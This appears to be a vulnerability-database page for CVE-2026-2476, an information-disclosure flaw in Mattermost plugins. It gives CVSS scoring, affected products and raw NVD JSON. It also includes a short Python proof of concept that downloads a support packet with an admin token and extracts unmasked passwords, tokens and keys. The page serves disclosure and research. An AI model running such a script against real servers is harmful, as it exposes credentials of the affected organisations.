Security Vulnerability Report
中文
CVE-2026-2476 CVSS 7.6 HIGH

CVE-2026-2476

Published: 2026-03-16 14:19:30
Last Modified: 2026-03-20 18:29:12

Description

Mattermost Plugins versions <=2.0.3.0 fail to properly mask sensitive configuration values which allows an attacker with access to support packets to obtain original plugin settings via exported configuration data. Mattermost Advisory ID: MMSA-2026-00606

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:ms_teams:*:*:*:*:*:mattermost:*:* - VULNERABLE
Mattermost Plugins <= 2.0.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-2476 PoC - Mattermost Plugin Configuration Information Disclosure # This PoC demonstrates how sensitive configuration values can be extracted from support packets import json import requests import zipfile import io def extract_sensitive_config(support_bundle_url, auth_token): """ Extract sensitive configuration from Mattermost support bundle """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Step 1: Download support bundle response = requests.get(support_bundle_url, headers=headers) if response.status_code != 200: return None # Step 2: Extract and parse configuration files with zipfile.ZipFile(io.BytesIO(response.content)) as zf: sensitive_data = {} # Look for plugin configuration files for filename in zf.namelist(): if 'plugin' in filename.lower() and 'config' in filename.lower(): content = zf.read(filename) try: config = json.loads(content) # Search for unmasked sensitive fields sensitive_keywords = ['password', 'secret', 'key', 'token', 'credential', 'apikey'] for key, value in config.items(): if any(kw in key.lower() for kw in sensitive_keywords): # Check if value is masked or plaintext if value and not value.startswith('****') and not value.startswith('***'): sensitive_data[key] = value except: continue return sensitive_data # Usage example if __name__ == '__main__': # Replace with actual values SUPPORT_BUNDLE_URL = 'https://mattermost.example.com/api/v4/system/analytics?format=support_packet' AUTH_TOKEN = 'your_admin_token' exposed_configs = extract_sensitive_config(SUPPORT_BUNDLE_URL, AUTH_TOKEN) if exposed_configs: print('[+] Exposed sensitive configurations found:') for key, value in exposed_configs.items(): print(f' - {key}: {value}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2476", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:30.373", "lastModified": "2026-03-20T18:29:11.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=2.0.3.0 fail to properly mask sensitive configuration values which allows an attacker with access to support packets to obtain original plugin settings via exported configuration data. Mattermost Advisory ID: MMSA-2026-00606"}, {"lang": "es", "value": "Las versiones &lt;=2.0.3.0 de los plugins de Mattermost no logran enmascarar correctamente los valores de configuración sensibles, lo que permite a un atacante con acceso a los paquetes de soporte obtener la configuración original del plugin a través de datos de configuración exportados. ID de Aviso de Mattermost: MMSA-2026-00606"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:ms_teams:*:*:*:*:*:mattermost:*:*", "versionEndExcluding": "2.3.1", "matchCriteriaId": "7A937D4F-6200-46BF-8193-CD5DDB4B5E6C"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}